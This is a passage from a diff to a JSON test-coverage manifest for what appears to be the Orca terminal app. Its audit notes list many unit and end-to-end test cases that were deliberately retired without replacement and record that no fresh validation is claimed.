view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Deterministic main-IPC contract tests cover disconnect-driven close delivery, exactly-once close, per-subscription teardown isolation against a failing socket close and a throwing liveness probe, containment of a throwing renderer send on the unguarded host-close path, and continued suppression of stale payloads from a retired transport. A headed paired-server journey (real Orca host plus a separate paired Orca desktop client) covers hidden-but-mounted reveal, cold-parked reveal, and cold-parked reveal across a disconnect/reconnect. Live Linux and Windows paired-server evidence and real sleep/wake transport loss remain uncollected.",
       "motivatingLinks": ["tests/e2e/paired-remote-terminal-parked-reveal-interactivity.spec.ts"],
       "invariant": "Every renderer-held runtime subscription receives exactly one terminal close event when its transport is retired, including when the retirement advanced the transport generation first, and a single failing teardown never abandons that environment's remaining subscriptions nor escapes into the transport that reported the close. Payload frames from a retired transport stay suppressed. A revealed remote terminal therefore reattaches over a live multiplex connection: its buffer restores, typed input reaches the host PTY, the echo paints without a tab flip, and the PTY converges on the revealed pane grid.",
-      "oracle": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): The main IPC contract test subscribes terminal.multiplex through the real handler, disconnects the environment, and asserts the renderer received exactly one {type: close} subscription event. Two isolation tests subscribe a second stream to the same environment and make the first one fail -- in its socket close, and in the liveness probe inside notifyClosed -- then assert the disconnect does not throw, both transports closed, and every close the renderer could still receive was delivered. A third drives a host-initiated close through the transport callback, which is the one notifyClosed call site with no surrounding guard, with a renderer send that throws, and asserts it cannot escape into the WebSocket close handler. A fourth test asserts that after retirement a late response frame is not forwarded and a late transport close does not re-send. The paired-server journey runs three reveal scenarios against one real host and one real paired desktop client, and for each records buffer restore, host-side receipt of the typed marker through an out-of-band host sink file, live paint without a tab flip, and PTY-versus-pane grid convergence.",
+      "oracle": "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3349 composes adopted batches3343,3345 and refreshed3354: intentionally retires234 authored registrations/294 expanded cases, including13 whole suites, without equivalent replacement. Lost alarms include supplied terminal reconnect/replacement/typeahead/mirror/result and snapshot examples; synthetic render-desync persistence/recovery; worktree listing/owner/catalog/lineage/removal and activation/creation examples; host-scoped PR and task-record projections; editor diff/status/comment and UI send-target examples; automation observation/wake, supplied sleep/deadline clock and native-chat completion/notification/relaunch samples; held-tab layout and cleanup/progress guard examples. Retained adverse-ordering and wire-boundary cases are narrower and do not replace all removed alarms. The already-upstream visibility-resume deletion receives zero new removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH, native process/power/GPU, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3342 composes adopted source batches3333/3334,3336/3337 and3340/3341: intentionally retires180 authored registrations/263 expanded cases, including seven whole suites, without equivalent replacement. Lost alarms include corrupt editor hydration; mobile editor/diff publication and privacy projections; stale-resubscribe routing; model-picker projection/refetch/retry/fallback; editor check-details and frame property inventories; latched-pane cleanup/quiescence; client create replay identity/options/compatibility; and removed owner, async routing, terminal and layout examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts keep their original scope. Audit3335 composes adopted source unions3327/3328 and3330/3332: intentionally retires100 authored registrations/123 expanded cases, including ten whole suites, without equivalent replacement. Lost alarms include seeded host persistence/contention and stale-host cleanup; browser snapshot assembly; mocked wake/DPR callbacks and frame budgets; preflight projections; palette authority/cache suppression, URL intent and saved-title cross-repo collisions; metadata coverage/set patch and dropdown assembly; and removed terminal, worktree, review-refresh and owner-routing examples. Retained definitions do not replace these alarms. This broad root unit command selects the reduced suite; no fresh execution, historical source/import equivalence, real provider/network/SSH, rendered UI/GPU/focus, durability restart, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain only their original scope. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation 